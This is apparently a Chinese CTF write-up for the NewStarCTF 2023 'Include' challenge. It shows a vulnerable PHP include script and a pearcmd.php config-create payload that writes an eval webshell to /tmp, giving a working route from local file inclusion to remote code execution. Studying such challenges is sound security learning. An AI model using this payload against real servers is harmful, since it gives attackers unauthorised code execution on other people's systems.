【pearcmd】通过pearcmd.php 进行GetShell

https://cloud.tencent.com/developer/article/2204400

关于PHP 配置 register_argc_argv 小结 的一些研究文章。

应用例题

[NewStarCTF 2023 公开赛道]Include 🍐

复制代码
<?php
    error_reporting(0);
    if(isset($_GET['file'])) {
        $file = $_GET['file'];
        
        if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
            die('hacker!');
        }
        
        include($file.".php");
        # Something in phpinfo.php!
    }
    else {
        highlight_file(__FILE__);
    }
?>

查看phpinfo.php 尝试搜索flag ,让查看register_argc_argv

通过搜索,发现是关于pearcmd.php的信息。

https://cloud.tencent.com/developer/article/2204400 关于PHP 配置 register_argc_argv 小结 的一些研究文章。

通过查看帮助,php pearcmd.php可以查看该文件的一些使用参数。

可以通过config-create 创建一个木马文件,也可以通过从服务器上下载文件的方式利用。

复制代码
# 创建文件,注意最好通过burp抓包,因为< > 会被url编码,导致木马失效
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[a])?>+/tmp/a.php

成功利用木马

下载文件。这里我就尝试从它自身下载phpinfo。

如图所示,从靶机下载phpinfo,并在响应中返回了保存路径

成功访问下载的phpinfo.php文件

相关推荐
Pocker_Spades_A33 分钟前
Python快速入门专业版(二十六):Python函数基础:定义、调用与返回值(Hello函数案例)
开发语言·python
island131441 分钟前
【C++框架#5】Elasticsearch 安装和使用
开发语言·c++·elasticsearch
周周记笔记1 小时前
学习笔记:Python的起源
开发语言·python
懒大王95271 小时前
uni-app + Vue3 + EZUIKit.js 播放视频流
开发语言·javascript·uni-app
_extraordinary_1 小时前
Java 多线程进阶(四)-- 锁策略,CAS,synchronized的原理,JUC当中常见的类
java·开发语言
JasmineX-12 小时前
数据结构——顺序表(c语言笔记)
c语言·开发语言·数据结构·笔记
雨白2 小时前
Android 两种拖拽 API 详解:ViewDragHelper 和 OnDragListener 的原理与区别
android
元亓亓亓2 小时前
JavaWeb--day3--Ajax&Element&路由&打包部署
android·ajax·okhttp
居然是阿宋2 小时前
Android XML属性与Jetpack Compose的对应关系(控件基础属性篇)
android
java搬砖工-苤-初心不变2 小时前
OpenResty 配合 Lua 脚本的使用
开发语言·lua·openresty